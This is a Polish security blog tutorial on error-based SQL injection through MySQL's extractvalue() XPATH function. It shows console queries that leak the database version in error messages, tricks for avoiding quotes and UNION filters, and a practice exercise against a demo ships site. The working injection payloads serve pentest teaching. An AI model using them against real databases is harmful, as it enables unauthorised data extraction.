Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
XPATH a SQL injection
Parę dni temu opisywałem podstawy SQL injection, dzisiaj nieco bardziej złożony przypadek, a mianowicie wykorzystanie w SQLi języka XPATH (XML Path Language).
Połączenie XPATH oraz SQL injection w pewnych przypadkach umożliwia dość proste pobranie dowolnej informacji z bazy danych. Metoda może okazać się przydatna pentesterowi np. w sytuacji gdy filtrowane jest słowo kluczowe UNION (filtr aplikacyjny czy Web Application Firewall).
Zobaczmy najpierw do czego służy język XPATH. W jednym zdaniu – jest to mechanizm umożliwiający pobieranie z pliku XML wybranego fragmentu. Zobaczmy przykładowe zapytanie XPATH, które w swoim tutorialu prezentuje w3schools (widoczne jest ono w prawym górnym rogu na zrzucie poniżej):
Jak widzimy, zapytanie rozpoczyna się znakiem / (slash), warunki (odpowiednik WHERE z SQL) – można znaleźć w nawiasach kwadratowych, z kolei ostatni element po slashu to wskazanie jakie konkretne dane chcemy pobrać z XML-a (w przykładzie powyżej są to tytuły książek). Zapytanie powyżej zwraca zatem ciąg będący tytułem dwóch książek, których cena jest większa od 35:
XQuery Kick Start Learning XML
W naszym przypadku nie potrzebujemy jednak znać dokładnie składni XPATH, ponieważ… wystarczy wiedzieć jak przygotować niepoprawne składniowo zapytanie (co nie jest bardzo skomplikowane ;-)
Co ma XPATH wspólnego z SQL injection? Otóż np. w MySQL istnieje funkcja: extractvalue, która posiada dwa parametry: w pierwszym przekazujemy XML-a, w drugim z kolei – zapytanie XPATH. Funkcja zwraca wynik zapytania XPATH na podanym XML-u. Na razie nie widać tutaj nic „podejrzanego”. W czym zatem extractvalue może pomóc przy SQL injection?
Problem tkwi w sposobie wyświetlania błędów przez tą funkcję. Otóż w ramach zapytania XPATH, które przekazujemy do extractvalue, możemy zawrzeć fragment SQL, który najpierw jest wykonywany, a następnie dalej procesowany przez naszą funkcję. Jeśli jednak zapytanie, które podamy do funkcji będzie błędne, funkcja zwróci błąd składniowy XPATH, a w komunikacje o błędzie będzie znajdował się fragment już wykonanego SQL-a! Zobaczmy najpierw przykład prawidłowego użycia extractvalue:
mysql> select extractvalue("<a>sekurak</a>","/a"); +-------------------------------------+ | extractvalue("<a>sekurak</a>","/a") | +-------------------------------------+ | sekurak | +-------------------------------------+ 1 row in set (0.00 sec)
Teraz przykład nieprawidłowy (tj. zwracający błąd):
mysql> select extractvalue("<a>sekurak</a>","|/a"); ERROR 1105 (HY000): XPATH syntax error: '|/a'
Jak uzyskać w komunikacie o błędzie fragment wykonanego SQL-a? Na przykład tak:
mysql> select extractvalue("<a>sekurak</a>",concat(',',version())); ERROR 1105 (HY000): XPATH syntax error: ',5.1.66-0+squeeze1'
Jak też widać, niepotrzebny jest tutaj prawidłowy XML, więc całość można jeszcze bardziej uprościć:
mysql> select extractvalue("",concat(',',version())); ERROR 1105 (HY000): XPATH syntax error: ',5.1.66-0+squeeze1'
W pewnych sytuacjach przeszkadzać nam mogą pojedyncze apostrofy lub cudzysłowy, których można pozbyć się np. tak:
mysql> select extractvalue(rand(),concat(0x7c,version())); ERROR 1105 (HY000): XPATH syntax error: ',5.1.66-0+squeeze1'
Poniżej również zapytanie SELECT umieszczone w extractvalue:
mysql> select extractvalue(rand(),concat("|",(select version()))); ERROR 1105 (HY000): XPATH syntax error: ',5.1.66-0+squeeze1'
No dobrze, tak to wygląda w praktyce?
Zróbmy teraz małe ćwiczenie. Celem jest pobranie wersji bazy danych oraz kodu security wybranego ze statków tutaj.
Hint1: Kody security znajdują się w tej samej bazie co dane o statkach.
Zapraszam też do poćwiczenia swoich umiejętności praktycznych w naszym archiwalnym konkursie.
Update: wyniki ogłosimy w poniedziałek późnym wieczorem!
–michal.sajdak<at>sekurak.pl
Gdzie można znaleźć rozwiązanie zadania?